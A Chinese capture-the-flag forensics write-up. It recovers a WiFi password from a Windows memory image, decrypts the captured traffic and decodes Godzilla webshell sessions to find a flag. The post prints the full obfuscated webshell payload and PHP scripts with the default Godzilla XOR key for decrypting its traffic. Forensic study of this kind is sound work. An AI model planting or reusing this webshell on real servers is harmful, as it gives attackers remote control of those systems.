写文章只是为了记录自己的学习,不是粘贴复制就完事了
参考
https://www.cnblogs.com/GKLBB/p/15315725.html
https://www.nctry.com/2449.html
https://www.freebuf.com/sectool/285693.html
题目链接: https://pan.baidu.com/s/1H2iVCuntQuyIemELCDXl6w
提取码: c6pk
用wireshake打开客户端.cap
发现流量被加密,但是依旧可以发现WiFi的名字是My_Wifi
要解密的话就需要wifi的密码
对windows而言,只要连过这个wifi,它的信息就会被保存,包括密码
查看连过的wifi
查看某个密码
这些东西都在一个xml文件里
知道了这些后我们就可以去镜像找xml文件了
因为没接触过取证用的volatility
又写了关于我在windows使用volatility取证这档事
扫描镜像里的文件把结果存到files.txt里
打开files.txt搜索.xml
得到四行结果
0x1e6d1530 \Windows\System32\tcpbidi.xml 128
0x3fcc5908 \Windows\System32\RacRules.xml 128
0x3fd0d390 \Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\5dd9f783008543df3e642ff1e99de4e8\System.Xml.ni.dll 128
0x3fd67bb0 \Windows\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.XML.dll 128
显然这不是我们想找的文件
此外我们还知道的信息是WiFi的名字是My_Wifi
搜索My_Wifi得到一行结果
0x3fdc38c8 \Program Files\My_Wifi.zip\Temp\vmware-admin\VMwareDnD\2a1221c7\My_Wifi.zip 128
先把这个文件dump下来看看
拖到Windows修改文件名为wifi.zip然后解压
题目说了压缩包里有密码的提示
网卡的guid就是密码
同时网卡的guid也是保存配置文件夹的名字
所以在files.txt里搜索Interfaces得到四行结果
0x1c7ec5c8 \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{529B7D2A-05D1-4F21-A001-8F4FF817FC3A} 128
0x1f78f4b0 \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces 128
0x3fa921c8 \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\{529B7D2A-05D1-4F21-A001-8F4FF817FC3A} 128
0x3fda8be8 \ProgramData\Microsoft\Wlansvc\Profiles\Interfaces 128
题目说了要加上花括号
所以解压密码就是{529B7D2A-05D1-4F21-A001-8F4FF817FC3A}
打开里面的xml文件发现密码是233@114514_qwe
得到密码和ssid后对流量解密
选择protocols
找到IEEE 802.11
wifi包解密后
但是wifi这么多包,不确定哪些属于webshell的流量
这时候服务器的包就可以派上用场了
上传哥斯拉用的是POST
过滤POST数据包得到服务器IP:42.192.84.152
导出http对象
得到5个php文件
已知上传的是哥斯拉的马
看到%什么什么应该就知道这是url编码吧
所以首先拿去url解码
拿到php环境执行一下
echo base64_decode(strrev(urldecode('K0QfK0QfgACIgoQD9BCIgACIgACIK0wOpkXZrRCLhRXYkRCKlR2bj5WZ90VZtFmTkF2bslXYwRyWO9USTNVRT9FJgACIgACIgACIgACIK0wepU2csFmZ90TIpIybm5WSzNWazFmQ0V2ZiwSY0FGZkgycvBXayR3coAiZpBCIgACIgACIK0welNHbl1HIgACIK0wOpYTMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpkSeltGJskSY0FGZkgib1JHQoUGZvNmblhSZk92YuV2X0YTZzFmYg8GajVGIgACIgACIgoQD7kiNxwCMskSeltGJuM3chBHJoUDZthic0NnY1NHIvh2YlBCIgACIgACIK0wOpQWYvxWehBHJowWY2VGIgACIgACIgoQD7kSeltGJs0VZtFmTkF2bslXYwRyWO9USTNVRT9FJoUGZvNmbl1DZh9Gb5FGckACIgACIgACIK0wepkSXl1WYORWYvxWehBHJb50TJN1UFN1XkgCdlN3cphCImlGIgACIK0wOpkXZrRCLp01czFGcksFVT9EUfRCKlR2bjVGZfRjNlNXYihSZk92YuVWPhRXYkRCIgACIK0wepkSXzNXYwRyWUN1TQ9FJoQXZzNXaoAiZppQD7cSY0IjM1EzY5EGOiBTZ2M2Mn0TeltGJK0wOnQWYvxWehB3J9UWbh5EZh9Gb5FGckoQD7cSelt2J9M3chBHJK0QfK0wOERCIuJXd0VmcgACIgoQD9BCIgAiCNszYk4VXpRyWERCI9ASXpRyWERCIgACIgACIgoQD70VNxYSMrkGJbtEJg0DIjRCIgACIgACIgoQD7BSKrsSaksTKERCKuVGbyR3c8kGJ7ATPpRCKy9mZgACIgoQD7lySkwCRkgSZk92YuVGIu9Wa0Nmb1ZmCNsTKwgyZulGdy9GclJ3Xy9mcyVGQK0wOpADK0lWbpx2Xl1Wa09FdlNHQK0wOpgCdyFGdz9lbvl2czV2cApQD')));
得到上传的代码
可以看出使用的是php_xor_base64的加密器
如果看不出可以用哥斯拉生成对比一下使用的是什么加密器
接下来就是对哥斯拉的数据包解密了
说实话我也不会
所以又写了哥斯拉还原加密流量
看过哥斯拉流量分析后就很容易了
对于哥斯拉POST的数据包使用这个脚本解密
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
echo encode(base64_decode(urldecode('xxxxxxx')),$key);
对于哥斯拉的返回包使用这个脚本解密
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode(''),$key));
在POST里肯定没有什么我们想要的东西
所以返回到客户端.cap
筛选http的数据包
这里恰好都是源ip为42.192.84.152
如果有其它源ip不是42.192.84.152的就过滤掉
然后导出http对象
得到这么多文件
把css,js,png结尾的文件删掉
剩下这么多打开查看
发现只有四个是哥斯拉的返回包
利用上面的脚本开始解密
解密的时候要去掉头16位去掉尾16位
其中第一个包解密后为
第二个包解密
第三个包解密
第四个包解密得到flag
当你没有解密脚本的时候
已知条件哥斯拉木马的源码
观察发现这个key就是默认的key
也就是key经过md5加密后前16位
验证猜想:用哥斯拉生成一个木马
发现两个是一样的
接下来把木马丢到虚拟机里
用phpstudy搭个环境